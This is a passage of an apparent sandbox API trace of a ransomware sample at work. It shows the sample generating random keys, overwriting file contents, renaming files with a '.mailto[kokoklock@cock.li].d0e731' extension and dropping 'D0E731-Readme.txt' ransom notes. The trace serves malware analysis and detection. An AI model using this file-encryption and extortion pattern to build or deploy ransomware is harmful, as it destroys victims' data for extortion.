RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0x9a70a6ee [0077.122] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0x39076a32 [0077.122] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0x134f1a81 [0077.122] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0x37bbe857 [0077.122] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0x52903380 [0077.122] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0xd8d58fbf [0077.122] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0x64043e32 [0077.122] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0xa12377f2 [0077.122] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0x3386a70f [0077.122] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0x406ce8f8 [0077.122] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0xa4e074e3 [0077.122] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0x812d870f [0077.122] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0x7a5b68f9 [0077.122] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0x1ea62340 [0077.122] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0x9583b5a [0077.122] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0x9340db28 [0077.122] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0x9a7711df [0077.122] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0x772f252a [0077.122] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0x6a318984 [0077.122] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0x19903c8a [0077.122] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0x67ea8795 [0077.123] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0x5aab6b0a [0077.123] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0xb3caf344 [0077.123] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0x2fb45a6d [0077.123] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0x19608748 [0077.123] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0xe067ccbd [0077.123] RtlRandom (in: Seed=0x1f23f9c4 | out: Seed=0x1f23f9c4) returned 0xa72273ef [0077.133] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0077.133] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492988) returned 1 [0077.133] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd8f8 [0077.133] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0077.133] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492aa0 [0077.133] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492aa0) returned 1 [0077.133] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348a220 [0077.133] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0077.134] ReadFile (in: hFile=0x8fc, lpBuffer=0x348a220, nNumberOfBytesToRead=0xb5b, lpNumberOfBytesRead=0x1f23f9b8, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1f23f9b8*=0xb5b, lpOverlapped=0x0) returned 1 [0077.134] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f23f980 | out: lpNewFilePointer=0x0) returned 1 [0077.134] WriteFile (in: hFile=0x8fc, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0xb5b, lpNumberOfBytesWritten=0x1f23f9b4, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1f23f9b4*=0xb5b, lpOverlapped=0x0) returned 1 [0077.134] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492aa0 [0077.134] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492c30 [0077.134] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492c30) returned 1 [0077.134] WriteFile (in: hFile=0x8fc, lpBuffer=0x3492aa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f23f9b0, lpOverlapped=0x0 | out: lpBuffer=0x3492aa0*, lpNumberOfBytesWritten=0x1f23f9b0*=0x20, lpOverlapped=0x0) returned 1 [0077.134] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492aa0) returned 1 [0077.134] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0077.134] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a220) returned 1 [0077.135] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.135] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd8f8) returned 1 [0077.135] WriteFile (in: hFile=0x8fc, lpBuffer=0x34928e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f23f9dc, lpOverlapped=0x0 | out: lpBuffer=0x34928e8*, lpNumberOfBytesWritten=0x1f23f9dc*=0x8, lpOverlapped=0x0) returned 1 [0077.135] WriteFile (in: hFile=0x8fc, lpBuffer=0x1f23f9f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f23f9dc, lpOverlapped=0x0 | out: lpBuffer=0x1f23f9f4*, lpNumberOfBytesWritten=0x1f23f9dc*=0x4, lpOverlapped=0x0) returned 1 [0077.135] WriteFile (in: hFile=0x8fc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f23f9dc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1f23f9dc*=0x4, lpOverlapped=0x0) returned 1 [0077.135] WriteFile (in: hFile=0x8fc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1f23f9dc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1f23f9dc*=0x6c, lpOverlapped=0x0) returned 1 [0077.135] WriteFile (in: hFile=0x8fc, lpBuffer=0x3492ca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f23f9dc, lpOverlapped=0x0 | out: lpBuffer=0x3492ca8*, lpNumberOfBytesWritten=0x1f23f9dc*=0x20, lpOverlapped=0x0) returned 1 [0077.135] WriteFile (in: hFile=0x8fc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f23f9dc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1f23f9dc*=0x4, lpOverlapped=0x0) returned 1 [0077.135] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0077.135] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492af0) returned 1 [0077.135] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34928e8) returned 1 [0077.135] CloseHandle (hObject=0x8fc) returned 1 [0077.136] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xfe) returned 0x3429ac0 [0077.136] wcscpy (in: _Dest=0x3429ac0, _Source="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml" | out: _Dest="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml") returned="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml" [0077.136] wcscat (in: _Dest=0x3429ac0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml.mailto[kokoklock@cock.li].d0e731" [0077.136] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml"), lpNewFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0077.136] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0077.136] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429ac0) returned 1 [0077.136] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", dwFileAttributes=0x20) returned 0 [0077.137] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7a) returned 0x347f238 [0077.137] wcscpy (in: _Dest=0x347f238, _Source="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\" | out: _Dest="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\") returned="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\" [0077.137] wcscat (in: _Dest=0x347f238, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\D0E731-Readme.txt" [0077.137] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOPrivate\\UpdateStore\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\d0e731-readme.txt")) returned 0x20 [0077.137] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f238) returned 1 [0077.137] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34320a0) returned 1 [0077.137] RtlExitUserThread (Status=0x1) Thread: id = 842 os_tid = 0x142c [0077.140] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationux.001.etl")) returned 0x2020 [0077.140] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl", dwFileAttributes=0x20) returned 1 [0077.141] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationux.001.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8fc [0077.141] GetFileSizeEx (in: hFile=0x8fc, lpFileSize=0x1f2bfe70 | out: lpFileSize=0x1f2bfe70*=8192) returned 1 [0077.141] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.141] ReadFile (in: hFile=0x8fc, lpBuffer=0x1f2bfe44, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f2bfe40, lpOverlapped=0x0 | out: lpBuffer=0x1f2bfe44*, lpNumberOfBytesRead=0x1f2bfe40*=0x4, lpOverlapped=0x0) returned 1 [0077.143] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.143] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492988 [0077.143] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0077.143] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492a00 [0077.143] NtQuerySystemTime (in: CurrentTime=0x1f2bfe1c | out: CurrentTime=0x1f2bfe1c*=132121176350346359) returned 0x0 [0077.143] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0x2fdcbb18 [0077.143] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0x71fd5bb4 [0077.143] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0xe9768980 [0077.143] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0xd0a91c7d [0077.143] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0xbaae99e3 [0077.143] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0xea2ae811 [0077.143] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0x6838676b [0077.143] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0x74e2962 [0077.143] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0xea0a0b77 [0077.143] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0x9263f101 [0077.143] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0x729407d [0077.143] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0x182d61b4 [0077.143] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0x58b88f88 [0077.143] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0xca72993a [0077.143] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0xf99f1020 [0077.143] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0x80e49ac1 [0077.143] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0xf4df44f3 [0077.143] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0x71f66fe6 [0077.143] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0x166bad6f [0077.143] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0xf7f82810 [0077.144] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0xab29c163 [0077.144] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0xb819dcb1 [0077.144] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0x286c1a98 [0077.144] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0x78066958 [0077.144] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0x5975c240 [0077.144] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0xebaee671 [0077.144] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0x7f8d4eaa [0077.144] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0x9da53006 [0077.144] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0xd7a612a3 [0077.144] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0xf23741e5 [0077.144] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0x655a44f0 [0077.144] RtlRandom (in: Seed=0x1f2bfe28 | out: Seed=0x1f2bfe28) returned 0x8db46cb8 [0077.155] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0077.155] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492988) returned 1 [0077.155] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd8f8 [0077.155] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0077.155] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492aa0 [0077.155] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492aa0) returned 1 [0077.155] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348a220 [0077.155] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0077.155] ReadFile (in: hFile=0x8fc, lpBuffer=0x348a220, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x1f2bfe1c, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1f2bfe1c*=0x2000, lpOverlapped=0x0) returned 1 [0077.156] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2bfde4 | out: lpNewFilePointer=0x0) returned 1 [0077.156] WriteFile (in: hFile=0x8fc, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x1f2bfe18, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1f2bfe18*=0x2000, lpOverlapped=0x0) returned 1 [0077.156] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492aa0 [0077.156] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492c30 [0077.156] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492c30) returned 1 [0077.156] WriteFile (in: hFile=0x8fc, lpBuffer=0x3492aa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f2bfe14, lpOverlapped=0x0 | out: lpBuffer=0x3492aa0*, lpNumberOfBytesWritten=0x1f2bfe14*=0x20, lpOverlapped=0x0) returned 1 [0077.157] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492aa0) returned 1 [0077.157] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0077.157] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a220) returned 1 [0077.157] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.157] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd8f8) returned 1 [0077.157] WriteFile (in: hFile=0x8fc, lpBuffer=0x34928e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f2bfe40, lpOverlapped=0x0 | out: lpBuffer=0x34928e8*, lpNumberOfBytesWritten=0x1f2bfe40*=0x8, lpOverlapped=0x0) returned 1 [0077.157] WriteFile (in: hFile=0x8fc, lpBuffer=0x1f2bfe58*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f2bfe40, lpOverlapped=0x0 | out: lpBuffer=0x1f2bfe58*, lpNumberOfBytesWritten=0x1f2bfe40*=0x4, lpOverlapped=0x0) returned 1 [0077.157] WriteFile (in: hFile=0x8fc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f2bfe40, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1f2bfe40*=0x4, lpOverlapped=0x0) returned 1 [0077.157] WriteFile (in: hFile=0x8fc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1f2bfe40, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1f2bfe40*=0x6c, lpOverlapped=0x0) returned 1 [0077.157] WriteFile (in: hFile=0x8fc, lpBuffer=0x3492ca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f2bfe40, lpOverlapped=0x0 | out: lpBuffer=0x3492ca8*, lpNumberOfBytesWritten=0x1f2bfe40*=0x20, lpOverlapped=0x0) returned 1 [0077.157] WriteFile (in: hFile=0x8fc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f2bfe40, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1f2bfe40*=0x4, lpOverlapped=0x0) returned 1 [0077.157] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0077.157] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492af0) returned 1 [0077.157] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34928e8) returned 1 [0077.158] CloseHandle (hObject=0x8fc) returned 1 [0077.158] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x3430b00 [0077.158] wcscpy (in: _Dest=0x3430b00, _Source="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl" [0077.158] wcscat (in: _Dest=0x3430b00, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl.mailto[kokoklock@cock.li].d0e731" [0077.158] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationux.001.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationux.001.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0077.158] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0077.159] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430b00) returned 1 [0077.159] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl", dwFileAttributes=0x2020) returned 0 [0077.159] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479a60 [0077.159] wcscpy (in: _Dest=0x3479a60, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.159] wcscat (in: _Dest=0x3479a60, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0077.159] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0xffffffff [0077.159] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8fc [0077.160] WriteFile (in: hFile=0x8fc, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x1f2bfe3c, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x1f2bfe3c*=0x481, lpOverlapped=0x0) returned 1 [0077.161] CloseHandle (hObject=0x8fc) returned 1 [0077.161] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.161] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd770) returned 1 [0077.161] RtlExitUserThread (Status=0x1) Thread: id = 843 os_tid = 0x1430 [0077.165] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationux.002.etl")) returned 0x2020 [0077.166] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl", dwFileAttributes=0x20) returned 1 [0077.166] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationux.002.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8fc [0077.166] GetFileSizeEx (in: hFile=0x8fc, lpFileSize=0x1f33fc94 | out: lpFileSize=0x1f33fc94*=8192) returned 1 [0077.166] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.166] ReadFile (in: hFile=0x8fc, lpBuffer=0x1f33fc68, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f33fc64, lpOverlapped=0x0 | out: lpBuffer=0x1f33fc68*, lpNumberOfBytesRead=0x1f33fc64*=0x4, lpOverlapped=0x0) returned 1 [0077.168] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.168] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492988 [0077.168] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0077.168] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492aa0 [0077.168] NtQuerySystemTime (in: CurrentTime=0x1f33fc40 | out: CurrentTime=0x1f33fc40*=132121176350658902) returned 0x0 [0077.168] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0x233d0624 [0077.168] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0xbb343f2e [0077.168] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0xb0086c75 [0077.168] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0xc0987491 [0077.168] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0xe348c3f5 [0077.168] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0x93960d60 [0077.168] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0xfff24e58 [0077.168] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0x276e433c [0077.168] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0x28fca392 [0077.168] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0xc9ff51cf [0077.168] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0x4345bcb5 [0077.168] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0xf77d407e [0077.168] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0x94b33347 [0077.168] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0x90f2c700 [0077.168] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 